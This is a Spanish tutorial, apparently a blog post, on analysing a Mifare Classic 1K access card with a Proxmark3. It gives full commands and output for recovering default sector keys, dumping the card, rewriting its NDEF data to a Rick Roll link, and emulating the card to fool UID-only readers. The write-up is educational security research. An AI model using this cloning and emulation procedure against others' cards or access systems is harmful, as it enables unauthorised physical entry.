Mifare Classic 1K: cuando una tarjeta de acceso no es un factor de autenticación

Una tarjeta de acceso debería ser un factor de autenticación. En la práctica, si usa Mifare Classic 1K con claves por defecto, es solo un UID que cualquiera puede emular.

¿Qué es una Mifare Classic 1K? Link to ¿Qué es una Mifare Classic 1K?

Antes de tocar ningún comando, hay que entender con qué estamos tratando. Una Mifare Classic 1K es una tarjeta de radiofrecuencia (RFID/NFC) que funciona a 13.56 MHz. La verás en llaves de hotel, tarjetas de acceso a edificios, carnets universitarios o tarjetas de transporte antiguas.

La mejor forma de entenderla es imaginarla como un edificio de 16 plantas.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

Edificio (tarjeta = 1024 bytes)
│
├── Planta 0  (Sector 0)
│   ├── Habitación 0  ← DNI del edificio (UID + fabricante) 🔒
│   ├── Habitación 1  ← datos
│   ├── Habitación 2  ← datos
│   └── Habitación 3  ← LLAVES MAESTRAS 🔑
│
├── Planta 1  (Sector 1)
│   ├── Habitación 4  ← datos
│   ├── Habitación 5  ← datos
│   ├── Habitación 6  ← datos
│   └── Habitación 7  ← LLAVES MAESTRAS 🔑
│
... (hasta planta 15)

Cada planta tiene 4 habitaciones (bloques) de 16 bytes cada una. La última habitación de cada planta es especial: guarda las dos llaves que protegen esa planta y los permisos de acceso. Se llama Sector Trailer.

Son 6 bytes cada una. Si no tienes la clave correcta, no puedes ni leer ni escribir ese sector. O al menos, esa es la teoría.

El UID Link to El UID

La primera habitación de la planta 0 contiene el UID: el DNI de la tarjeta. Son 4 bytes únicos que la tarjeta emite al acercarse a cualquier lector, sin necesitar ninguna clave. Muchos sistemas de control de acceso baratos solo comprueban este valor, lo cual es un problema de seguridad bastante gordo.

Por qué Mifare Classic es insegura hoy Link to Por qué Mifare Classic es insegura hoy

Cuando salió, en 1994, era suficientemente segura. Hoy tiene tres problemas graves:

• El cifrado que usa, CRYPTO1, fue crackeado públicamente en 2008.
• El generador de números aleatorios (PRNG) de muchas tarjetas es predecible o directamente estático, lo que facilita enormemente los ataques criptográficos.
• Muchísimas tarjetas en producción siguen con claves por defecto conocidas por todo el mundo.

¿Qué es la Proxmark3? Link to ¿Qué es la Proxmark3?

La Proxmark3 es un dispositivo de hardware diseñado para investigación en RFID y NFC. Es capaz de leer, analizar, emular y clonar tarjetas de prácticamente cualquier tipo. Se conecta por USB al ordenador y se controla desde un cliente de línea de comandos, pm3.

1
2

┌──(kali㉿kali)-[~/Desktop/proxmark/proxmark3]
└─$ ./pm3

Una vez dentro, el prompt queda así:

1

[usb] pm3 -->

Desde ahí lanzamos todos los comandos. Los que empiezan por hf trabajan con High Frequency (13.56 MHz), que es la frecuencia de las Mifare.

Reconocimiento de la tarjeta Link to Reconocimiento de la tarjeta

hf search — ¿hay algo ahí? Link to hf search — ¿hay algo ahí?

Lo primero es comprobar que la Proxmark detecta la tarjeta:

1

[usb] pm3 --> hf search

1
2
3
4
5
6
7
8
9
10

[=] ---------- ISO14443-A Information ----------
[+]  UID: E7 35 37 63   ( ONUID, re-used )
[+] ATQA: 00 04
[+]  SAK: 08 [2]
[+] Possible types:
[+]    MIFARE Classic 1K
[#] Static nonce....... 01200145
[+] Static nonce....... yes

[+] Valid ISO 14443-A tag found

Confirmado: la tarjeta es una Mifare Classic 1K. Su UID es E7 35 37 63. Además aparece algo muy interesante: Static nonce: yes. Significa que el generador de números aleatorios de esta tarjeta es estático, siempre genera el mismo nonce (01200145). Esto la hace especialmente vulnerable, como veremos enseguida.

hf mf info — información detallada Link to hf mf info — información detallada

1

[usb] pm3 --> hf mf info

1
2
3
4
5
6
7
8
9
10
11
12
13

[+]  UID: E7 35 37 63 
[+] ATQA: 00 04
[+]  SAK: 08 [1]

[+] Sector 0 key A... A0A1A2A3A4A5
[+] Sector 0 key B... FFFFFFFFFFFF
[+] Sector 1 key A... D3F7D3F7D3F7
[+] Sector 1 key B... FFFFFFFFFFFF
[+] Block 0.......... E7353763860804006263646566676869 | bcdefghi

[+] Fudan based card

[+] Static nonce... yes

Hay varias cosas interesantes aquí.

La Proxmark ya encontró algunas claves probando su diccionario: A0A1A2A3A4A5 es la clave estándar del MAD (Mifare Application Directory), y D3F7D3F7D3F7 es la clave estándar para tarjetas con formato NDEF. Ambas son públicas y conocidas.

El Block 0 contiene el DNI de la tarjeta desglosado así:

El fabricante es Fudan Microelectronics, una empresa china. Es un clon funcional de las tarjetas NXP originales, pero no es una magic card (no se puede reescribir el UID).

Obtención de todas las claves Link to Obtención de todas las claves

hf mf autopwn — la artillería pesada Link to hf mf autopwn — la artillería pesada

Con la información de que el PRNG es estático y que ya tenemos algunas claves, lanzamos autopwn. Este comando intenta recuperar todas las claves de todos los sectores de forma automática.

1

[usb] pm3 --> hf mf autopwn

1
2
3
4
5
6
7
8

[=] Running strategy 1
[+] Target sector   0 key type A -- found valid key [ A0A1A2A3A4A5 ]
[+] Target sector   0 key type B -- found valid key [ FFFFFFFFFFFF ]
[+] Target sector   1 key type A -- found valid key [ D3F7D3F7D3F7 ]
[+] Target sector   1 key type B -- found valid key [ FFFFFFFFFFFF ]
...
[+] Target sector  15 key type A -- found valid key [ D3F7D3F7D3F7 ]
[+] Target sector  15 key type B -- found valid key [ FFFFFFFFFFFF ]

Todas las claves de los 16 sectores en una tabla limpia:

1
2
3
4
5
6

[+]  Sec | Blk | key A        |res| key B        |res
[+] -----+-----+--------------+---+--------------+----
[+]  000 | 003 | A0A1A2A3A4A5 | D | FFFFFFFFFFFF | D 
[+]  001 | 007 | D3F7D3F7D3F7 | D | FFFFFFFFFFFF | D 
...
[+]  015 | 063 | D3F7D3F7D3F7 | D | FFFFFFFFFFFF | D 

La columna res = D en todos significa que se encontraron por Dictionary, es decir, estaban directamente en el diccionario de claves conocidas. No hizo falta ningún ataque criptográfico. Tardó 2 segundos.

El comando además hace un volcado completo de la tarjeta:

1
2

[+] Saved 1024 bytes to binary file `/home/kali/hf-mf-E7353763-dump.bin`
[+] Saved to json file /home/kali/hf-mf-E7353763-dump.json

Los 1024 bytes cuadran exactamente: 16 sectores × 4 bloques × 16 bytes = 1024 bytes. Tenemos una copia completa de toda la memoria de la tarjeta.

¿Qué hay dentro? Link to ¿Qué hay dentro?

hf mf mad — el índice del edificio Link to hf mf mad — el índice del edificio

El MAD (Mifare Application Directory) es un directorio que vive en el sector 0 y lista qué aplicaciones hay en cada sector de la tarjeta.

1

[usb] pm3 --> hf mf mad

1
2
3
4
5
6
7
8

[+] Card publisher sector 0x01

[=]  00 MAD v1
[=]  01 [E103]  NFC applications [NXP Semiconductors]
[=]  02 [E103] continuation
[=]  03 [E103] continuation
...
[=]  15 [E103] continuation

El código E103 significa NFC Forum application. Todos los sectores del 1 al 15 pertenecen a una única aplicación NDEF. La tarjeta está formateada íntegramente como un NFC Tag estándar:

1
2

Sector 0    →  MAD (directorio)
Sectores 1–15  →  Una sola aplicación NDEF

hf mf ndefread — el contenido real Link to hf mf ndefread — el contenido real

NDEF es el formato estándar para guardar datos en tarjetas NFC: URLs, textos, contactos, etc.

1

[usb] pm3 --> hf mf ndefread

1
2
3
4
5
6
7

[+] Found NDEF message ( 44 bytes )

[+] Record 1
[=] External Record
[=]     URN... urn:nfc:ext:android.com:pkg
[=] Payload [26]...
[=] 636F6D2E676F6F676C652E616E64726F69642E796F7574756265

El payload en hex decodificado es:

1

com.google.android.youtube

La tarjeta contiene un Android Application Record (AAR). Cuando un móvil Android la lee, busca esa app instalada y la abre. Si no está instalada, va directamente a la Play Store. En iPhone simplemente no pasa nada, porque iOS no entiende este tipo de registro.

hf mf rdsc — mirando el sector 1 en crudo Link to hf mf rdsc — mirando el sector 1 en crudo

Para verificar dónde está físicamente el dato en la memoria, leemos el sector 1:

1

[usb] pm3 --> hf mf rdsc --sec 1 -k D3F7D3F7D3F7

1
2
3
4
5
6

[=]   # | sector 01 / 0x01                                | ascii
[=] ----+-------------------------------------------------+-----------------
[=]   4 | 00 00 03 2C D4 0F 1A 61 6E 64 72 6F 69 64 2E 63 | ...,...android.c 
[=]   5 | 6F 6D 3A 70 6B 67 63 6F 6D 2E 67 6F 6F 67 6C 65 | om:pkgcom.google 
[=]   6 | 2E 61 6E 64 72 6F 69 64 2E 79 6F 75 74 75 62 65 | .android.youtube 
[=]   7 | D3 F7 D3 F7 D3 F7 7F 07 88 40 00 00 00 00 00 00 | .........@......

En los bloques 4, 5 y 6 se puede leer perfectamente android.com:pkgcom.google.android.youtube en ASCII. El bloque 7 es el Sector Trailer, donde están las claves (D3F7D3F7D3F7) y los bits de permisos.

El resto de sectores están vacíos, confirmando que el mensaje NDEF cabe entero en el sector 1.

Modificando la tarjeta — el Rick Roll Link to Modificando la tarjeta — el Rick Roll

Ahora la parte divertida. El objetivo es reescribir el contenido NDEF para que cualquier móvil que acerque la tarjeta abra https://youtu.be/dQw4w9WgXcQ.

Esta vez en lugar de un AAR usaremos un URI Record, que es más universal: funciona en Android, iPhone y cualquier lector NFC.

Construyendo el payload NDEF Link to Construyendo el payload NDEF

Un mensaje NDEF para escribir directamente a la tarjeta necesita esta estructura:

1
2
3
4
5
6
7
8
9

03        → cabecera TLV (indica que empieza un bloque NDEF)
XX        → longitud del mensaje NDEF
D1        → flags: Message Begin + Message End + Short Record + TNF=Well Known
01        → longitud del tipo (1 byte)
XX        → longitud del payload
55        → tipo "U" (URI Record)
04        → prefijo "https://" (ahorra bytes)
XX XX..   → el resto de la URL sin "https://"
FE        → terminador TLV

Para calcular el hex exacto sin errores manuales, usamos Python:

1
2
3
4
5
6
7

python3 -c "
url = 'youtu.be/dQw4w9WgXcQ'
payload = bytes([0x04]) + url.encode()
ndef_msg = bytes([0xD1, 0x01, len(payload), 0x55]) + payload
tlv = bytes([0x03, len(ndef_msg)]) + ndef_msg + bytes([0xFE])
print(tlv.hex().upper())
"

Output:

1

0319D101155504796F7574752E62652F6451773477395767586351FE

Escribiendo el nuevo contenido Link to Escribiendo el nuevo contenido

1

[usb] pm3 --> hf mf ndefwrite -d 0319D101155504796F7574752E62652F6451773477395767586351FE --1k

1

 🕓 5

Sin errores. Verificamos:

1

[usb] pm3 --> hf mf ndefread

1
2
3
4
5

[+] Found NDEF message ( 25 bytes )

[+] Record 1
[=] URL
[=]     uri... https://youtu.be/dQw4w9WgXcQ

La tarjeta ahora contiene la URL del Rick Roll. Cualquier móvil que la acerque abrirá el navegador directo en el vídeo. 🎵

Emulando la tarjeta con la Proxmark3 Link to Emulando la tarjeta con la Proxmark3

Aquí viene la parte que demuestra por qué los sistemas que solo comprueban el UID son un problema. El autopwn generó un dump completo de la tarjeta en /home/kali/hf-mf-E7353763-dump.bin. Con ese fichero, la tarjeta física ya no hace falta para nada.

hf mf eload — cargar el dump en el simulador Link to hf mf eload — cargar el dump en el simulador

Primero cargamos los 1024 bytes del dump en la memoria interna del simulador de la Proxmark:

1

[usb] pm3 --> hf mf eload --1k -f hf-mf-E7353763-dump.bin

1
2
3
4
5
6

[=] Upload 64 blocks 1024 bytes
[+] Loaded 1024 bytes from binary file `hf-mf-E7353763-dump.bin`
[=] Uploading to emulator memory
[=] ....
[?] Hint: You are ready to simulate. See `hf mf sim -h`
[=] Done!

64 bloques (16 sectores × 4 bloques) cargados correctamente en el simulador.

hf mf sim — convertir la Proxmark en la tarjeta Link to hf mf sim — convertir la Proxmark en la tarjeta

1

[usb] pm3 --> hf mf sim --1k -u E7353763

1
2
3
4
5
6
7

[=] MIFARE 1K | 4 bytes UID  E7 35 37 63 
[=] Options [ numreads: 0, flags: 80 (0x0050) ]
[=] Press pm3 button or send another cmd to abort simulation
[#] Enforcing Mifare 1K ATQA/SAK
[#] 4B UID: e7353763
[#] ATQA  : 00 04
[#] SAK   : 08

A partir de este momento la Proxmark3 es la tarjeta. Emite exactamente el mismo UID, el mismo ATQA y el mismo SAK. Cualquier móvil que la acerque verá el Rick Roll. Cualquier lector que solo compruebe el UID verá E7353763 y lo aceptará.

Para detener la emulación basta con pulsar el botón de la Proxmark o enviar cualquier otro comando.

¿Qué implica esto? Link to ¿Qué implica esto?

El dump se hizo en segundos con el dispositivo físico. Pero una vez que tienes el fichero .bin, puedes emular la tarjeta en cualquier momento y en cualquier lugar sin necesitarla. Si el sistema de acceso solo comprueba el UID — algo muy habitual en instalaciones antiguas — la emulación lo supera sin problema.

1
2
3

Tarjeta física  →  autopwn  →  dump.bin  →  eload  →  sim
     🪪                           💾                    📡
  (original)                  (copia)              (Proxmark = tarjeta)

Conclusión Link to Conclusión

Lo que empezó como un rato de pruebas con dos tarjetas resultó cubrir prácticamente todo el ciclo de análisis de una Mifare Classic 1K: reconocimiento, extracción de claves, lectura de contenido, modificación y emulación.

El resumen de lo que encontramos y lo que hicimos:

Mifare Classic 1K es una tecnología de los 90 que sigue en uso masivo hoy en día. Con el hardware y el software adecuados, analizarla es sorprendentemente sencillo.